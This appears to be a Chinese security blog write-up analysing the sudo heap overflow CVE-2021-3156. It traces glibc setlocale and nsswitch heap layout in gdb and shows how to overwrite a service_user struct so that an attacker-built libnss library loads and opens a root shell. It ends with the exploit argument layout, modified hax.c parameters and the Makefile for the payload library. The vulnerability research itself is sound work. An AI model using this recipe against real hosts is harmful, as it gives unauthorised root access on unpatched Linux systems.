sudo提权(CVE-2021–3156):从堆溢出到命令执行的最后亿步

 

1 漏洞说明

参考链接:
官方说明
官方说明txt版本
CVE-2021-3156 sudo漏洞分析与利用
CVE-2021-3156 sudo 提权漏洞复现与分析
Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)
参考exp

所有的分析都是在有tcachebin的情况下,因此要求libc版本大于2.25!!!

影响版本:

  • 1.9.0 <= Sudo <= 1.9.5 p1 所有稳定版(默认配置)
  • 1.8.2 <= Sudo <= 1.8.31 p2 所有老版本

漏洞是堆溢出,而堆溢出的说明其实在官方文档里做了详细的源码解释,我这边简单概括一下。
1.漏洞点在源码文件sudo\plugins\sudoers\sudoers.c的set_cmnd方法中。

        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))//漏洞点
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }
        *--to = '\0';

通过执行sudoedit -s <argv1> <argv2>可以既满足if的条件,又可以在参数中任意插入'\',从而进入到存在漏洞的for循环。

  1. 1.NewArgv是字符串指针数组,也就是NewArgv[1]指向的是argv1(PS:NewArgv[0]指向的命令本身,同char *argv[]);
  2. 2.user_args是在堆中申请的内存块(chunk),用于将NewArgv数组中的字符串拼接起来,去掉转义字符(漏洞点),不同参数之间以空格分隔(PS:这点请注意,后面有用)。
  3. 3.NULL并不在函数isspace检测范围内;
  4. 4.NewArgv指向的字符串在栈中是连续存放的,并且参数之后就是环境变量;
    根据代码可以知道,在sudoedit -s参数的末尾使用'\',当from指向\时,from[1]指向NULL字节,from[2]指向的就是环境变量的第一个字节了,执行*too=*from++,可以将后面的NULL字节拷贝到user_args的堆中,且让from++,从而避开了while(*from)判断是否读到NULL字节的检测,由于参数后面紧跟环境变量的值,因此通过设置环境变量的值来覆盖user_args堆后面的数据

2.堆溢出要覆盖的结构体是service_userPS:这个是官方文档中提到的方法中的一个,也是我仅会的一个

//glibc-2.31\nss\nsswitch.h
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;


//glibc-2.31\nss\nsswitch.c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
   library for it, creating a new one if need be.  If there
   is no service table from the file, this static variable
   holds the head of the service_library list made from the
   default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
             ni->name);
      if (ni->library == NULL)
  return -1;
    }
  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
          + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];
      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                "libnss_"),
            ni->name),
        ".so"),
    __nss_shlib_revision);//拼接so文件名
      ni->library->lib_handle = __libc_dlopen (shlib_name);//加载so文件

如果serviceuser只有service_user.name存在值,那么最后会加载
libnss
<service_user.name>.so。
参考exp中将name覆盖为X/P0P_SH3LLZ_
因此加载的so文件为:libnss_X/P0P_SH3LLZ_.so,但实际不是,可以看Makefile,生成的so文件是'libnss_X/P0P_SH3LLZ_ .so.2',多了一个空格。
参考文档中也都提到了通过setlocale方法配合设置的LC_系列的环境变量,能够让分配给user_args的chunk在service_user使用的chunk前面,再利用堆溢出覆盖,从而达到任意so加载,也就执行任意命令,命令中执行/bin/bash即可获取root的shell,所以离提权也就剩最后亿步了。

 

2 环境准备

选择了参考exp中的环境Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31

  1. 1.获取sudo源码,源码直接下载至当前文件夹。
    sudo apt source sudo
    
  2. 2.安装可调试的glibc(PS:这一步如果你安装了pwndbg,其实就已经完成了)
    sudo apt install libc6-dbg
    sudo apt install libc6-dbg:i386
    
  3. 3.获取glibc源码
    sudo apt source libc6-dev
    
  4. 4.确定偏移
    由于没有安装sudo的调试版本,因此需要确定一下漏洞点的偏移,想定位的点为malloc调用(为user_args分配堆空间的地方)。知道这段代码是在sudoers.so(已经不记得哪篇文章里看到的,并不是自己分析出来的)。
    定位方法比较简单,运气成分居多,首先在源码找到漏洞点,这个搜索set_cmnd函数即可,然后在函数中看到字符串"command too long",之后在IDA中搜索该字符串,引用该字符串的只有这一个函数(分析已经重命名过了)

    之后就是F5大法,慢慢看了,最终找到的malloc调用的地方,偏移0x23133
    除了确定这个偏移,还需要确定sudoedit何时加载的sudoers.so,只有加载之后才能在sudoers.so中设置断点。
    仍然没有什么好方法,纯运气,sudoedit拖入IDA,搜索关键字sudoers.so

    虽然有两处引用,但是都在同一个函数里(分析已经重命名过了),再查看该函数的引用,就是在main函数中。

    所以在调用该函数的地方下个断点,运行过该函数之后,sudoers.so就加载进入内存了,之后就可以去malloc调用的点下断点。函数调用偏移为0x6d8e

 

3 setlocale函数

此函数跟漏洞点无关,但是跟堆布局有关,想要完全了解可以去看源码,代码在glibc源码中,配合gdb的源码调试会比较清楚。
全局变量
_nl_global_locale,主要关注其__names成员。
栗子:

__names是一个数组,长度为13,下标值在代码中称为category,不同category值表示含义如下所示

//glibc-2.31\locale\locale.h
#define LC_CTYPE          __LC_CTYPE
#define LC_NUMERIC        __LC_NUMERIC
#define LC_TIME           __LC_TIME
#define LC_COLLATE        __LC_COLLATE
#define LC_MONETARY       __LC_MONETARY
#define LC_MESSAGES       __LC_MESSAGES
#define  LC_ALL        __LC_ALL
#define LC_PAPER    __LC_PAPER
#define LC_NAME        __LC_NAME
#define LC_ADDRESS     __LC_ADDRESS
#define LC_TELEPHONE   __LC_TELEPHONE
#define LC_MEASUREMENT    __LC_MEASUREMENT
#define LC_IDENTIFICATION __LC_IDENTIFICATION

//glibc-2.31\locale\bits\locale.h
#define __LC_CTYPE       0
#define __LC_NUMERIC     1
#define __LC_TIME     2
#define __LC_COLLATE     3
#define __LC_MONETARY       4
#define __LC_MESSAGES       5
#define __LC_ALL      6
#define __LC_PAPER       7
#define __LC_NAME     8
#define __LC_ADDRESS     9
#define __LC_TELEPHONE     10
#define __LC_MEASUREMENT   11
#define __LC_IDENTIFICATION   12

除了LC_ALL,其余可以看成是单独的项。
如果其余的值一样,比如都是C.UTF-8,那么LC_ALL的值也是C.UTF-8
如果不是完全一样,那么LC_ALL的值就是LC_CTYPE=.....;LC_NUMERIC=...;....LC_IDENTIFICATION=....

3.1 setlocale(LC_ALL,””)

//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
     int category, const char **name)
{
  int mask;
  /* Name of the locale for this category.  */
  const char *cloc_name = *name;
  const char *language;
  const char *modifier;
  const char *territory;
  const char *codeset;
  const char *normalized_codeset;
  struct loaded_l10nfile *locale_file;
  if (cloc_name[0] == '\0')
    {
      /* The user decides which locale to use by setting environment
   variables.  */
      cloc_name = getenv ("LC_ALL");
      if (!name_present (cloc_name))
  cloc_name = getenv (_nl_category_names_get (category));
      if (!name_present (cloc_name))
  cloc_name = getenv ("LANG");
      if (!name_present (cloc_name))
  cloc_name = _nl_C_name;
    }
  1. cloc_name的值来源是先读取环境变量LC_ALL,若没有再根据category的值去读取对应的环境变量,exp代码都是通过环境变量来控制cloc_name的,因此cloc_name的值最初就是来源于设置的环境变量,且cloc_name的值最终会拷贝至堆块,并将字符串指针存入_nl_global_locale.__names
  2. 函数_nl_find_locale设置的是除LC_ALL以外的其他category的值,LC_ALL的值是由new_composite_name函数确定,逻辑是之前说的。
  3. setlocale(LC_ALL,””)函数在我们视角里需要知道的就是会通过环境变量的值来设置_nl_global_locale.__names,并且里面的字符串都是在堆中的。
  4. 设置LC_的值是从尾部开始的,也就是category的值是从12~0来遍历的(跳过6,即LC_ALL)。

3.2 setlocale(LC_ALL,NULL)

返回_nl_global_locale.__names中LC_ALL对应的值。

//glibc-2.31\locale\setlocale.c
char *
setlocale (int category, const char *locale)
{
  char *locale_path;
  size_t locale_path_len;
  const char *locpath_var;
  char *composite;
  /* Sanity check for CATEGORY argument.  */
  if (__builtin_expect (category, 0) < 0
      || __builtin_expect (category, 0) >= __LC_LAST)
    ERROR_RETURN;
  /* Does user want name of current locale?  */
  if (locale == NULL)
    return (char *) _nl_global_locale.__names[category];

3.3 setlocale(LC_ALL,”C”)

先申明一下”C”是_nl_global_locale.__names的默认值或者说是初始值,在代码中以_nl_C_name表示。setlocale(LC_ALL,"C")执行结果是将_nl_global_locale.__names的值都变成指向字符串"C"的指针。

//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
     int category, const char **name)
{
  int mask;
  /* Name of the locale for this category.  */
  const char *cloc_name = *name;
  const char *language;
  const char *modifier;
  const char *territory;
  const char *codeset;
  const char *normalized_codeset;
  struct loaded_l10nfile *locale_file;
  if (cloc_name[0] == '\0') //此时if条件不满足,因为cloc_name[0]='C'
    {
      /* The user decides which locale to use by setting environment
   variables.  */
      cloc_name = getenv ("LC_ALL");
      if (!name_present (cloc_name))
  cloc_name = getenv (_nl_category_names_get (category));
      if (!name_present (cloc_name))
  cloc_name = getenv ("LANG");
      if (!name_present (cloc_name))
  cloc_name = _nl_C_name;
    }
  /* We used to fall back to the C locale if the name contains a slash
     character '/', but we now check for directory traversal in
     valid_locale_name, so this is no longer necessary.  */
  if (__builtin_expect (strcmp (cloc_name, _nl_C_name), 1) == 0 //cloc_name==_nl_C_name,条件满足
      || __builtin_expect (strcmp (cloc_name, _nl_POSIX_name), 1) == 0)
    {
      /* We need not load anything.  The needed data is contained in
   the library itself.  */
      *name = _nl_C_name;
      return _nl_C[category];
    }

再看一下设置_nl_global_locale.__names的代码,此处的name与上述代码的name不是同一个变量,但是指向的字符串内容是一样的,并且setname函数中的name是指向堆的(例外就是指向_nl_C_name,是个全局变量),每次修改_nl_global_locale.__names的值,会将原先的chunk进行free。

//glibc-2.31\locale\setlocale.c
static void
setname (int category, const char *name)
{
  if (_nl_global_locale.__names[category] == name)
    return;
  if (_nl_global_locale.__names[category] != _nl_C_name)
    free ((char *) _nl_global_locale.__names[category]);
  _nl_global_locale.__names[category] = name;
}

3.4 setlocale(LC_ALL,”xxx”)

如果”xxx”是一个正常值,那么就是会分析出xxx是否存在分号来判断是设置全部LC_的值为同一个还是各自设置的不一样。
如果存在;,那么”xxx”的结构应该是如LC_CTYPE=.....;LC_NUMERIC=...;....LC_IDENTIFICATION=....
看下setlocale函数中的代码

//in function setlocale
      if (__glibc_unlikely (strchr (locale, ';') != NULL)) //locale等于传入的“xxx”,比如“LC_CTYPE=c.utf8”
  {
    /* This is a composite name.  Make a copy and split it up.  */
    locale_copy = __strdup (locale);
    if (__glibc_unlikely (locale_copy == NULL))
      {
        __libc_rwlock_unlock (__libc_setlocale_lock);
        return NULL;
      }
    char *np = locale_copy;
    char *cp;
    int cnt;
    while ((cp = strchr (np, '=')) != NULL) //此时np指向"L",cp指向"="
      {
        for (cnt = 0; cnt < __LC_LAST; ++cnt)
    if (cnt != LC_ALL
        && (size_t) (cp - np) == _nl_category_name_sizes[cnt]//cp-np就是LC_CTYPE的长度:8,_nl_category_name_sizes则是根据cnt来获取不同LC_的名称的长度,如果长度一样则再进行字符串比较。
        && (memcmp (np, (_nl_category_names_get (cnt)), cp - np)
      == 0))
      break;
        if (cnt == __LC_LAST)
    {
    error_return:
      __libc_rwlock_unlock (__libc_setlocale_lock);
      free (locale_copy);
      /* Bogus category name.  */
      ERROR_RETURN;  //如果都不匹配,则直接退出
    }

经过以上分析,也就解答了Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)中说的

这里稍作解释,参考文章中提出的setlocale调用参数的顺序是在sudoedit执行过程中调用setlocale的顺序,而截图中省略的第一个参数都是LC_ALL。

  • 1.setlocale(LCALL,””):根据环境变量LC系列的值设置_nl_global_locale.__names,此时里面包含;x=x并不会被检测到。
  • 2.saved_LC_ALL = setlocale(LC_ALL,NULL):读取LC_ALL的值,里面包含了;x=x
  • 3.setlocale(LC_ALL,”C”):将_nl_global_locale.__names中存储的堆区的字符串指针都释放了,值都变成了_nl_C_name的地址。
  • 4.setlocale(LC_ALL,saved_LC_ALL):由于saved_LC_ALL中存在;x=x,导致直接返回,因此未修改_nl_global_locale.__names
  • 5.再次执行saved_LC_ALL = setlocale(LC_ALL,NULL):saved_LC_ALL=”C”,因此之后LC_ALL的值都会是”C”了,因为后面不会再执行setlocale(LC_ALL,””)。

 

4 service_user结构体的创建

具体调用链也是直接通过参考文章获得的,下面是参考文章Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)中的截图

需要关注的函数分别是nss_parse_file、nss_getline、nss_parse_service_list。

4.1 nss_parse_file

解析的文件是/etc/nsswitch.conf,在ubuntu上的文件内容为

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files

hosts:          files mdns4_minimal [NOTFOUND=return] dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

至少记住前两行(passwd和group)
梳理一下nss_parse_file关键的代码

//glibc-2.31\nss\nsswitch.c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  char *line;
  size_t len;

  result = (name_database *) malloc (sizeof (name_database)); //申请chunk大小为0x20
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp); //默认申请0x80的chunk用于读取每行的值。
      if (n < 0)
  break;
      if (line[n - 1] == '\n')
  line[n - 1] = '\0';
      /* Because the file format does not know any form of quoting we
   can search forward for the next '#' character and if found
   make it terminating the line.  */
      *__strchrnul (line, '#') = '\0'; //注释的行直接跳过
      /* If the line is blank it is ignored.  */
      if (line[0] == '\0')
  continue;
      /* Each line completely specifies the actions for a database.  */
      this = nss_getline (line); //有效行进入nss_getline
      if (this != NULL)
  {
    if (last != NULL)
      last->next = this;
    else
      result->entry = this;
    last = this;
  }
    }
  while (!__feof_unlocked (fp));
  free (line); //释放line,会释放一个0x80的chunk,在大于glibc-2.25的情况下,大概率放入tcachebins
  fclose (fp);
  return result;
}

4.2 nss_getline

//glibc-2.31\nss\nsswitch.c
static name_database_entry *
nss_getline (char *line)
{
  const char *name;
  name_database_entry *result;
  size_t len;
  /* Ignore leading white spaces.  ATTENTION: this is different from
     what is implemented in Solaris.  The Solaris man page says a line
     beginning with a white space character is ignored.  We regard
     this as just another misfeature in Solaris.  */
  while (isspace (line[0]))
    ++line;
  /* Recognize `<database> ":"'.  */
  name = line;
  while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':')//line指到空格或者":"
    ++line;
  if (line[0] == '\0' || name == line)
    /* Syntax error.  */
    return NULL;
  *line++ = '\0';//以第一行为例,此时*name="passwd"
  len = strlen (name) + 1;
  result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);//sizeof(name_database_entry)=0x10,最后申请到chunk的大小根据len的长度确定。
  if (result == NULL)
    return NULL;
  /* Save the database name.  */
  memcpy (result->name, name, len);//result->name的值就是每行开头的词
  /* Parse the list of services.  */
  result->service = nss_parse_service_list (line);//此处就会创建service_user结构体,并且line已经指向":"后面的字符了
  result->next = NULL;
  return result;
}

附带上name_database_entry结构体声明

//glibc-2.31\nss\nsswitch.h
typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

每一行冒号前面的单词会对应一个name_database_entry结构体,结构体包含两个指针以及一个字符数组。两个指针固定为0x10大小,当单词的长度小于8字节(算上结束字符最多8字节)的时候,申请的chunk大小仅为0x20。
原理是:
前面0x10是chunk本身的prev_sizesize
后面0x10是name_database_entry结构体的两个指针,分别是servicenext
name就会占用后面chunk的prev_size字段,因为当前chunk在使用时,紧跟着的chunk的prev_size是无效字段,因此可以被前一个chunk所占用,所以当单词的长度小于8字节时,可以仅申请0x20大小的chunk。
PS:但是存在特殊情况,比如剩余的空闲chunk大小为0x30,那么不会拆分0x20大小的chunk,而是直接分配0x30的chunk,因为如果拆分0x20的chunk,剩余大小为0x10,并不能形成一个新的chunk。重点!后面要考!!

4.3 nss_parse_service_list

//glibc-2.31\nss\nsswitch.c
static service_user *
nss_parse_service_list (const char *line)
{
  service_user *result = NULL, **nextp = &result;
  while (1)
    {
      service_user *new_service;
      const char *name;
      while (isspace (line[0]))
  ++line;//跳过空字符
      if (line[0] == '\0')
  /* No source specified.  */
  return result;
      /* Read <source> identifier.  */
      name = line;
      while (line[0] != '\0' && !isspace (line[0]) && line[0] != '[')//找寻第一个单词,不同单词通过空格分隔
  ++line;
      if (name == line)
  return result;
      new_service = (service_user *) malloc (sizeof (service_user)
               + (line - name + 1));//申请了用于存放service_user结构体的堆内存。

附带上service_user结构体声明

//glibc-2.31\nss\nsswitch.h
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

不算name字段,也就是sizeof(service_user)=0x30,那么申请chunk大小计算原理同name_database_entry一样,当name的长度小于等于8,可仅申请0x40大小的chunk。而/etc/nsswitch.conf中大多数单词长度都是小于8的。

4.4 需要覆盖的service_user结构体

根据参考文档中描述的,当调用完set_cmnd函数后,紧跟着执行的nss_load_library(servcie_user *ni)时,ni是指向的group行的第一个单词对应的service_user结构体,也就是files,当然有些参考文档中写去内存中查找systemd字符串,这样其实覆盖的长度就大了,具体因配置文件而异。

group:          files systemd

 

5 参考exp的堆布局

大体分为三部分

  1. 1.setlocale:进行chunk占用并释放。
  2. 2.nss_parse_file:调整堆布局,并构造好service_user结构体。
  3. 3.漏洞利用点,申请到我们想要的chunk,进行堆溢出覆盖service_user。
    exp代码中通过execve执行的命令类似于
    env -i LC_ALL=C.UTF-8@+"C"*212 sudoedit -s 56*'A'+'\' '\' 54*'B'+'\'
    

    5.1 setlocale部分

    开启调试

    sudo gdb -q --args ./sudo-hax-me-a-sandwich 1
    

    gdb命令

    pwndbg> directory ../glibc-2.31/locale
    pwndbg> directory ../glibc-2.31/nss
    b execve
    r
    b setlocale
    c
    

    下面的调用流程就是不断执行continue命令看到的顺序。

    5.1.1 setlocale(LC_ALL,””)代码中设置的LCALL=C.UTF-8@+”C”*212。
    所以LC
    申请的chunk的data部分大小是8+212+1=221=0xdd,再加上chunk的头部prevsize和size,因此chunk大小是0xed,再地址对齐,最终chunk大小是0xf0。

    执行到下一个setlocale函数执行前,查看当前setlocale执行后的结果。
    这次是在堆中申请空间存储各LC
    的值,并将字符串指针存入_nl_global_locale.__names

    所有的chunk大小都为0xf0,可以自行查看。
    记录下每个chunk的data部分的指针地址。

    LC_CTYPE = 0x55dab3d18da0
    LC_NUMERIC = 0x55dab3d18180
    LC_TIME = 0x55dab3d177f0
    LC_COLLATE = 0x55dab3d169a0
    LC_MONETARY = 0x55dab3d15fb0
    LC_MESSAGES = 0x55dab3d15610
    LC_ALL = 0x55dab3d18e90
    LC_PAPER = 0x55dab3d14180
    LC_NAME = 0x55dab3d13810
    LC_ADDRESS = 0x55dab3d12f00
    LC_TELEPHONE = 0x55dab3d12540
    LC_MEASUREMENT = 0x55dab3d11bb0
    LC_IDENTIFICATION = 0x55dab3d103e0
    

    5.1.2 setlocale(LC_ALL,NULL)获取LC_ALL的值。

5.1.3 setlocale(LC_ALL,”C”)

执行过后查看bins的情况。

unsortedbin有未显示完的,只能单独看了。

此时_nl_global_locale.__names都是C了。

简述下过程,由于将LC_ALL都设置为”C”,从LC_CTYPE开始依次释放,但是会跳过LC_ALLLC_ALL是最后释放的。由于tcachebin的大小为7,所以是LC_CTYPE(tcache尾部)~LC_PAPER(tcache头部)。
而剩余的释放之后其实是进入fastbin的,但由于是在下一个setlocale执行前查看的bins,中间经过了malloc的调用,当申请的chunk未在fastbin中直接获取,会将fastbin中的chunk放入unsortedbin,也就是我们查看到的效果了。
一个较大的bin之后也是会用到的,因此这里记录下其chunk的首地址:0x55dab3d19100

5.1.4 setlocale(LC_ALL,saved_LC_ALL)

LC_的各值又重新被赋值为”C.UTF-8@CCC..”,查看_nl_global_locale.__names的值。

LC_CTYPE = 0x55dab3d12540 
LC_NUMERIC = 0x55dab3d11bb0 
LC_TIME = 0x55dab3d103e0 
LC_COLLATE = 0x55dab3d18e90 
LC_MONETARY = 0x55dab3d12f00 
LC_MESSAGES = 0x55dab3d18da0 
LC_ALL = 0x55dab3d19220 
LC_PAPER = 0x55dab3d18180 
LC_NAME = 0x55dab3d177f0 
LC_ADDRESS = 0x55dab3d169a0 
LC_TELEPHONE = 0x55dab3d15fb0 
LC_MEASUREMENT = 0x55dab3d15610 
LC_IDENTIFICATION = 0x55dab3d14180

可以发现基本还是原先的chunk,不过位置变了,但是LC_ALL使用的chunk是之前不存在的,而原先LC_NAME的chunk不见了。
简述下过程:

  1. 1.在给各个LC_的值分配chunk之前,先申请过一个0x110大小的chunk(具体在哪已经忘记了),此时会从unsortedbin中寻找,那个较大的chunk就被切割分配出去了,剩余部分放入largebin,unsortedbin中其他的则都是进入smallbin中(0xf0大小)。
  2. 2.又申请了0x20大小的chunk,此时从smallbin中取一个chunk(LC_NAME)进行分割,剩余0xd0的放入unsortedbin。
  3. 3.之后申请0xf0的chunk,会先从tcachebin中取,取完之后去unsortedbin中查看,发现没有可用的,将0xd0的chunk放入smallbin,然后去smallbin的0xf0列表中取,但是最终会少一个0xf0大小的chunk给LC_ALL。
  4. 4.从largebin中分割一块给LC_ALL,剩余的放入unsortedbin。
    之前较大的chunk首地址是:0x55dab3d19100,加上0x110,则对应chunk地址是0x55dab3d19210,所以data部分地址是0x55dab3d19220,与我们看到的结果一致,剩余放入unsortedbin的首地址就是0x55dab3d19210+0xf0=0x55dab3d19300
    查看下当前bins。

5.1.5 setlocale(LC_ALL,NULL)

获取LC_ALL的值,同上。

5.1.6 setlocale(LC_ALL,”C”)

又会把那些chunk释放出来。

5.1.7 setlocale(LC_ALL,saved_LC_ALL)

此处是nss_parse_file函数执行前最后一次调用setlocale,需要在后续继续设置断点,断点含义下节说明。

pwndbg>b nsswitch.c:576
pwndbg>b nsswitch.c:790
pwndbg>b nsswitch.c:641

此时又会重新申请掉那些0xf0大小的chunk,此时因为现在tcachebin中有最初从LC_NAME中分割的0x20大小的chunk,不会再切割0xf0大小的chunk了,所以还是那些chunk,只是顺序改变。

5.2 nss_parse_file部分

解释上节断点的设置。

//glibc-2.31\nss\nsswitch.c
576:n = __getline (&line, &len, fp);//在nss_parse_file函数中,每次读取一行配置文件/etc/nsswitch.conf的内容。
790:result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);//在nss_getline函数中,为每个有效行的冒号前面的单词对应一个name_database_entry结构体。
641:new_service = (service_user *) malloc (sizeof (service_user)//为每行冒号后的每个单词生成一个service_user结构体。

下面跟踪主要是堆块的申请,仅跟踪到group行分配的第一个service_user为止,因为这个结构体就是漏洞点堆溢出要覆盖的。

5.2.1 为读取/etc/nsswitch.conf每行数据申请一个chunk

第一次执行__getline之前,line是NULL

执行过后

会分配一个0x80大小的chunk,之后就用这个chunk来存储每次读取到的一行的数据。该chunk是从那个较大的chunk中分割出来的,首地址是0x55dab3d19300
剧透一下,后续user_args申请的chunk就是现在0x55dab3d19300这块,而group行申请的第一个service_user结构体所使用的chunk就是紧跟之后的,首地址是0x55dab3d19380
之后一直执行到line读取到第一个有效行,也就是passwd行。

5.2.2 passwd行申请name_database_entry

申请data部分长度是0x17(0x10+passwd字符串长度为7)
查看当前bins

按照之前的理论,0x17仅需分配0x20大小的chunk,现在tcachebins和fastbins中都不存在正好的,unsortedbin为空,所以会去取smallbin中0xd0大小的chunk(之前从LC_NAME的chunk中分割出来的)进行分割,剩余的放入unsortedbin。

malloc执行之后的bins布局。

当赋值完之后,查看一下name_database_entry结构体内容。

pwndbg> p *(struct name_database_entry*)(0x55dab3d13830)

5.2.3 passwd行申请第一个service_user结构体

申请大小为0x36(0x30+files字符串长度为6),根据理论仅需要0x40大小的chunk即可。

分配之前的bins布局。

tcachebin和fastbin没有正好0x40大小的chunk,而unsortedbin中存在一个chunk,且大小足以满足,因此从该chunk中切割出0x40进行分配,剩余的继续留在unsortedbin中。

分配的service_user的首地址是0x55dab3d13850,查看分配之后的bins布局。

pwndbg> p *(struct service_user*)(0x55dab3d13850)

5.2.4 passwd行申请第二个service_user结构体

第二个单词为systemd,字符串长度为8,对应的chunk大小仍然为0x40。因此还是从之前的unsortedbin中分割。
直接查看结果。

分配之后的bins布局,需要注意的是unsortedbin中剩余的chunk大小为0x30了。

5.2.5 group行name_database_entry

malloc申请的大小为0x16,一般0x20的chunk即可满足,但是tcachebin和fastbin中不存在相应大小的chunk,再次去unsortedbin中,而unsortedbin中剩余的chunk仅0x30大小,切割0x20大小出来,剩余0x10无法形成一个chunk,因此整个0x30都分配出去了。

分配前的bins布局

分配后name_database_entry结构体的地址

查看chunk大小

分配后的bins布局,unsortedbin清空了。

查看name_database_entry

5.2.6 group行申请第一个service_user结构体

malloc申请0x36,对应chunk为0x40。

分配前的bins布局

tcachebin和fastbin中不存在0x40大小的chunk,unsortedbin为空,因此从largebins中切割一块出来,而largebins中这块chunk之前是为了给读取每行数据时,申请0x80的chunk所切割出来的,也就是说group行的第一个service_user结构体在内存空间上是紧跟在line所在chunk的后面的。

而nss_parse_file的最后,会执行free(line)的操作,因此后续只要在申请user_args时,申请到line释放的chunk,就可以覆盖service_user的结构体了。

line对应chunk首地址是:0x55dab3d19300
service_user对应chunk首地址是:0x55dab3d19380

5.3 漏洞利用

设置断点:加载sudoers.so

查看line以及service_user结构体的内容:

执行断点处函数调用,查看sudoers.so的基址,再在malloc出设置断点。

执行到malloc处,申请data大小为0x74,对应chunk为0x80

分配前的bins布局,可以看到之前为line申请的chunk在tcachebin的0x80列表处,也就是user_args申请会获得这块chunk。

分配之后进行堆溢出,覆盖service_user结构体即可。
在nss_load_library处设置断点。

继续运行,查看nss_load_library函数中的ni参数,地址是group行的第一个service_user结构体地址。

查看现在结构体的值,已经被覆盖为我们要的结果,但是发现多了一个空格。

查看覆盖的name之后的值,发现了54个B

下面来做一下计算题。
首先for循环将NewArgv字符串数组中的数据复制到userargs中,通过空格分隔。
NewArgv[1] = 56‘A’+’\’,总长度为58。
NewArgv[2] = ‘\’,总长度为2。
NewArgv[3] = 54‘B’+’\’,总长度为56。
user_args需要的长度就是58+2+56=0x74(与调试情况一致)。
当从NewArgv[1]的数据拷贝至user_args时,由于每个参数最后都是\,因此已经完成了name的覆盖,此时*to指向的是`X/POP_SH3LLZ`后面一个字节。之后for循环去拷贝NewArgv[2],但是会先往*to的地方写入一个空格,这就是空格的由来,而NewArgv[2]是”\“,所以写入NULL作为结束字符,之后又去拷贝NewArgv[3],也就是name属性之后出现的54个B。

5.4总结

LC_ALL=C.UTF-8@+212*’c’,长度为221,十六进制是0xdd,再加上chunk头0x10,申请的chunk大小为0xf0。
通过
1.申请13个0xf0大小的chunk
2.释放该13个chunk
3.穿插申请0x20大小的chunk,从而使得分割一个0xd0大小的chunk进入smallbin。

在为line申请一个0x80大小的chunk时,有一个较大chunk在unsortedbin,切割一部分出来后进入largebin中。之后申请了两个name_database_entry(大小分别是0x20,0x30)以及两个service_user(大小均是0x40),合并起来大小为0xd0,正好消耗掉smallbin中的0xd0大小的chunk,从而使得我们要覆盖的service_user结构体所使用的chunk是继续从largebin中的chunk分割而来。而前一部分0x80大小的chunk会被释放进入tcachebin。
user_args的大小根据sudoedit参数配置,正好申请的是0x80大小的chunk,因此只要保证user_args的大小是0x80,且最后一个符号是\即可。
最后要覆盖的长度是user_args的数据部分0x70
service_user的name属性前的大小是0x30+chunk的头部0x10,所以最终是0xb0=176字节。
覆盖的数据是
56个A加一个\=57个字节
一个\=1个字节
54个’B’加一个\ = 55个字节
63个\ = 63个字节
相加等于176字节,最后覆盖name属性。
因此我们知道sudoedit -s 后面的参数没有必要分多个,只需要一个且最后符号是\即可。
尝试一下修改hax.c

    {
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 0,
        .smash_len_b    = 112,//只使用B,并且要保证len_b+2能申请到0x80的chunk,且len_b+1+null_stomp_len=176即可
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },

char *s_argv[]={
        "sudoedit", "-s", smash_b, NULL
    };

再修改Makefile,去除.so前的空格

//Makefile
all:
        rm -rf libnss_X
        mkdir libnss_X
        gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
        gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
brute: all
        gcc -DBRUTE -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
clean:
        rm -rf libnss_X sudo-hax-me-a-sandwich

